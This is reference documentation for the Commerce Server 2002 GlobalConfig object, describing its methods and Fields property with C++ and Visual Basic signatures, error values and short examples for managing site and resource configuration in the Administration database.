Fields | Fields | Returns group-level configuration data. This property is read-only.

[Visual Basic]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

See Also

Integrating Custom Resources

Configuration Objects

[C++] SiteConfig Object

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfig Object

[Visual Basic] SiteConfigReadOnly Object


_GlobalConfig Methods [C++]

GlobalConfig Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
[Visual Basic]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.


_GlobalConfig::CreateServiceConfig Method [C++]

GlobalConfig.CreateServiceConfig Method [Visual Basic]

Use this method to create an instance of the class specified by the bstrConfigSchemaClass parameter, set the Name property of the instance to the name specified in the bstrServiceName parameter, and load the instance into the site recordset. This method calls the SaveConfig method.

Definition

[C++]
HRESULT _GlobalConfig::CreateServiceConfig(
  BSTR bstrServiceName,
  BSTR bstrConfigSchemaClass
);
[Visual Basic]
Sub CreateServiceConfig(
  bstrServiceName As String,
  bstrConfigSchemaClass As String
)

Parameters

bstrServiceName [C++]
[in] A BSTR that contains the new name for the resource configuration object instance.
bstrServiceName [Visual Basic]
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass [C++]
[in] A BSTR that contains the resource configuration schema class name.
bstrConfigSchemaClass [Visual Basic]
A String that contains the resource configuration schema class name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

The following table contains a list of schema classes for this method.

Administration Database Class Name | Resource Name
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_BizDataStore | Profiles

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyPredictor is a String denoting the new resource name
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.CreateServiceConfig(sMyPredictor, MSCS_Predictor)

See Also

[C++] GlobalConfig Object

[C++] _GlobalConfig::DeleteServiceConfig

[Visual Basic] GlobalConfig Object

[Visual Basic] GlobalConfig.DeleteServiceConfig


_GlobalConfig::CreateSiteConfig Method [C++]

GlobalConfig.CreateSiteConfig Method [Visual Basic]

Use this method to create a site using the name specified in the bstrSiteName parameter. This method calls the SaveConfig method. This method is used primarily from Commerce Server Manager or by Commerce Server Site Packager.

Definition

[C++]
HRESULT _GlobalConfig::CreateSiteConfig(
  BSTR bstrSiteName,
  IMSCSSiteConfigAdmin** ppsca
);
[Visual Basic]
Function CreateSiteConfig(
  bstrSiteName As String
) As Object

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the new site name.
bstrSiteName [Visual Basic]
A String that contains the new site name.
ppsca [C++]
[out] The address of a pointer to the SiteConfig object used to return the site configuration settings.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a SiteConfig object that contains the site configuration settings.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The ppsca parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyNewSite is a string; oGlobalConfig is a Commerce GlobalConfig object
' oMSCSSiteConfig is a Commerce.SiteConfig object
oMSCSSiteConfig = oGlobalConfig.CreateSiteConfig(sMyNewSite)

See Also

[C++] GlobalConfig Object

[C++] _GlobalConfig::DeleteSiteConfig

[Visual Basic] GlobalConfig Object

[Visual Basic] _GlobalConfig::DeleteSiteConfig


_GlobalConfig::DeleteServiceConfig Method [C++]

GlobalConfig.DeleteServiceConfig Method [Visual Basic]

Use this method to delete the specified resource, and to delete the Administration database association that links this resource to the site instance.

Definition

[C++]
HRESULT _GlobalConfig::DeleteServiceConfig(
  BSTR bstrServiceName
);
[Visual Basic]
Sub DeleteServiceConfig(
  bstrServiceName As String
)

Parameters

bstrServiceName [C++]
[in] A BSTR that contains the name of the resource configuration object to be deleted.
bstrServiceName [Visual Basic]
A String that contains the name of the resource configuration object to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyPredictor is the name of an existing resource
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.DeleteServiceConfig (sMyPredictor)

See Also

[C++] GlobalConfig Object

[C++] _GlobalConfig::CreateServiceConfig

[Visual Basic] GlobalConfig Object

[Visual Basic] GlobalConfig.CreateServiceConfig


_GlobalConfig::DeleteSiteConfig Method [C++]

GlobalConfig.DeleteSiteConfig Method [Visual Basic]

Use this method to delete a site configuration object instance for the current site from the Administration database. This method is primarily used by Commerce Server Manager or by Commerce Server Site Packager.

Definition

[C++]
HRESULT _GlobalConfig::DeleteSiteConfig(
  BSTR bstrSiteName
);
[Visual Basic]
Sub DeleteSiteConfig(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is an existing site name
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.DeleteSiteConfig(sMySiteName)

See Also

[C++] GlobalConfig Object

[C++] _GlobalConfig::CreateSiteConfig

[Visual Basic] GlobalConfig Object

[Visual Basic] GlobalConfig.CreateSiteConfig


_GlobalConfig::GetIfCollection Method [C++]

GlobalConfig.GetIfCollection Method [Visual Basic]

Use this method to convert values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array. If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a Variant Array, then a Variant Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

Definition

[C++]
HRESULT _GlobalConfig::GetIfCollection(
  VARIANT* strList,
  VARIANT* retVal
);
[Visual Basic]
Function GetIfCollection(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A pointer to the VARIANT that contains the encoded string to be converted.
strList [Visual Basic]
A Variant that contains the encoded string to be converted.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the converted data in the appropriate data type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted data in the appropriate data type.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vVariant is a Variant; vEncodedString is a Variant
' oGlobalConfig is a Commerce GlobalConfig object
vVariant = oGlobalConfig.GetIfCollection(vEncodedString)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::GetResourcePropAttrib Method [C++]

GlobalConfig.GetResourcePropAttrib Method [Visual Basic]

Use this method to get a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[C++]
HRESULT _GlobalConfig::GetResourcePropAttrib(
  BSTR strResourceName,
  BSTR strPropName,
  IDictionary** idictResPropAttrib
);
[Visual Basic]
Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As Object

Parameters

strResourceName [C++]
[in] A BSTR that contains the resource name.
strResourceName [Visual Basic]
A String that contains the resource name.
strPropName [C++]
[in] A BSTR that contains the resource property name.
strPropName [Visual Basic]
A String that contains the resource property name.
idictResPropAttrib [C++]
[out, retval] The address of a pointer to receive an IDictionary interface, which is used to return the key/value pairs that denote the attributes of the specified property of the specified resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object containing the key/value pairs that denote the attributes of the specified property of the specified resource.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The idictResPropAttrib parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oGlobalConfig is a Commerce GlobalConfig object
dDict = _
oGlobalConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::Initialize Method [C++]

GlobalConfig.Initialize Method [Visual Basic]

Use this method to load the global configuration from the Administration database.

Definition

[C++]
HRESULT _GlobalConfig::Initialize(
  BSTR bstrGroupName
);
[Visual Basic]
Sub Initialize(
  Optional bstrGroupName As String
)

Parameters

bstrGroupName [C++]
[in, optional] A BSTR that contains the name of the global resource.
bstrGroupName [Visual Basic]
A String that contains the name of the global resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

On Developer Edition installations, code will be run to ensure that the maximum number of connections for an IIS Web site that hosts a Commerce Server 2002 application is no greater than 5.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeArrayFromSimpleList Method [C++]

GlobalConfig.MakeArrayFromSimpleList Method [Visual Basic]

Use this method to convert the specified SimpleList object into an Array.

Definition

[C++]
HRESULT _GlobalConfig::MakeArrayFromSimpleList(
  IDispatch** list,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromSimpleList(
  list As Object
) As Variant

Parameters

list [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an Array.
list [Visual Basic]
An object reference to the SimpleList that you wish to convert into an Array.
vtArray [C++]
[out, retval] A pointer to a VARIANT containing the converted Array.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted Array.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyVariant is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
vMyVariant = oGlobalConfig.MakeArrayFromSimpleList(varMySimpleList)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeArrayFromString Method [C++]

GlobalConfig.MakeArrayFromString Method [Visual Basic]

Use this method to convert an encoded string read from the Fields property into an Array. If the encoded string does not indicate Array properties, then the method returns the original string that was passed into it.

Definition

[C++]
HRESULT _GlobalConfig::MakeArrayFromString(
  VARIANT strList,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromString(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A VARIANT that contains the encoded string.
strList [Visual Basic]
A Variant that contains the encoded string.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array or unconverted String.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted Array or unconverted String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant containing an encoded string read from the Fields
' property
' vArray is a Variant
' oGlobalConfig is a Commerce GlobalConfig object
vArray = oGlobalConfig.MakeArrayFromString(vEncoded)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeSimpleListFromArray Method [C++]

GlobalConfig.MakeSimpleListFromArray Method [Visual Basic]

Use this method to convert an Array into a SimpleList object.

Definition

[C++]
HRESULT _GlobalConfig::MakeSimpleListFromArray(
  VARIANT* varArray,
  IDispatch** iSimpleList
);
[Visual Basic]
Function MakeSimpleListFromArray(
  varArray As Variant
) As Object

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to convert.
varArray [Visual Basic]
A Variant that contains the Array to convert.
iSimpleList [C++]
[out, retval] The address of an IDispatch pointer used to return the converted SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to the converted SimpleList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The iSimpleList parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyArray is a Variant
' varMySimpleList is a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
varMySimpleList = oGlobalConfig.MakeSimpleListFromArray(vMyArray)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeStringFromArray Method [C++]

GlobalConfig.MakeStringFro MethodmArray [Visual Basic]

Use this method to convert an Array object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _GlobalConfig::MakeStringFromArray(
  VARIANT* varArray,
  VARIANT* vtEncodedString
);
[Visual Basic]
Function MakeStringFromArray(
  varArray As Variant
) As Variant

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to encode.
varArray [Visual Basic]
A Variant that contains the Array to encode.
vtEncodedString [C++]
[out, retval] A pointer to a VARIANT used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the encoded string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The vtEncodedString parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant
' vArray is a Variant
' oGlobalConfig is a Commerce GlobalConfig object
vEncoded = oGlobalConfig.MakeStringFromArray(vArray)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeStringFromSimpleList Method [C++]

GlobalConfig.MakeStringFromSimpleList Method [Visual Basic]

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _GlobalConfig::MakeStringFromSimpleList(
  IDispatch** slist,
  BSTR* strEncodedString
);
[Visual Basic]
Function MakeStringFromSimpleList(
  slist As Object
) As String

Parameters

slist [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an encoded string.
slist [Visual Basic]
An object reference to the SimpleList object that you wish to convert into an encoded string.
strEncodedString [C++]
[out, retval] A pointer to a String used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The strEncodedString parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, SimpleLists, or objects as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a string
' vArray is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
vEncoded = oGlobalConfig.MakeStringFromSimpleList(varMySimpleList)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::SaveConfig Method [C++]

GlobalConfig.SaveConfig Method [Visual Basic]

Use this method to save the global configuration settings to the Administration database.

Definition

[C++]
HRESULT _GlobalConfig::SaveConfig(
);
[Visual Basic]
Sub SaveConfig(
)

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::Sites Method [C++]

GlobalConfig.Sites Method [Visual Basic]

Use this method to retrieve a list of all the sites available in the Administration database.

Definition

[C++]
HRESULT _GlobalConfig::Sites (
_Recordset** rsRecordSet
);
[Visual Basic]
Function Sites (
) As Object

Parameters

rsRecordSet [C++]

[out, retval] The address of a pointer to a _Recordset object used to return the list of all sites available in the Administration database. Each Field object in the recordset includes the name of one of the sites in the Commerce Server 2002 installation.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of one of the sites in the Commerce Server 2002 installation.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The rsRecordSet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig Properties [C++]

GlobalConfig Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

[Visual Basic]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.


_GlobalConfig::get_Fields Property [C++]

GlobalConfig.Fields Property [Visual Basic]

The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is an ADO disconnected recordset.

Definition

[C++]
HRESULT _GlobalConfig::get_Fields(
  Fields** pFields
);
[Visual Basic]
Property Fields As Object

Parameters

pFields [C++]
[out] The address of a pointer to the Fields object used to return resource configuration information.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

The pFields parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


GlobalConfig2 Object [C++]

GlobalConfig2 Object [Visual Basic]

Use this object to accomplish the following:

  • Create or delete resource configuration information
  • Save any updated global configuration information to the Administration database
  • Add a site
Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

Note

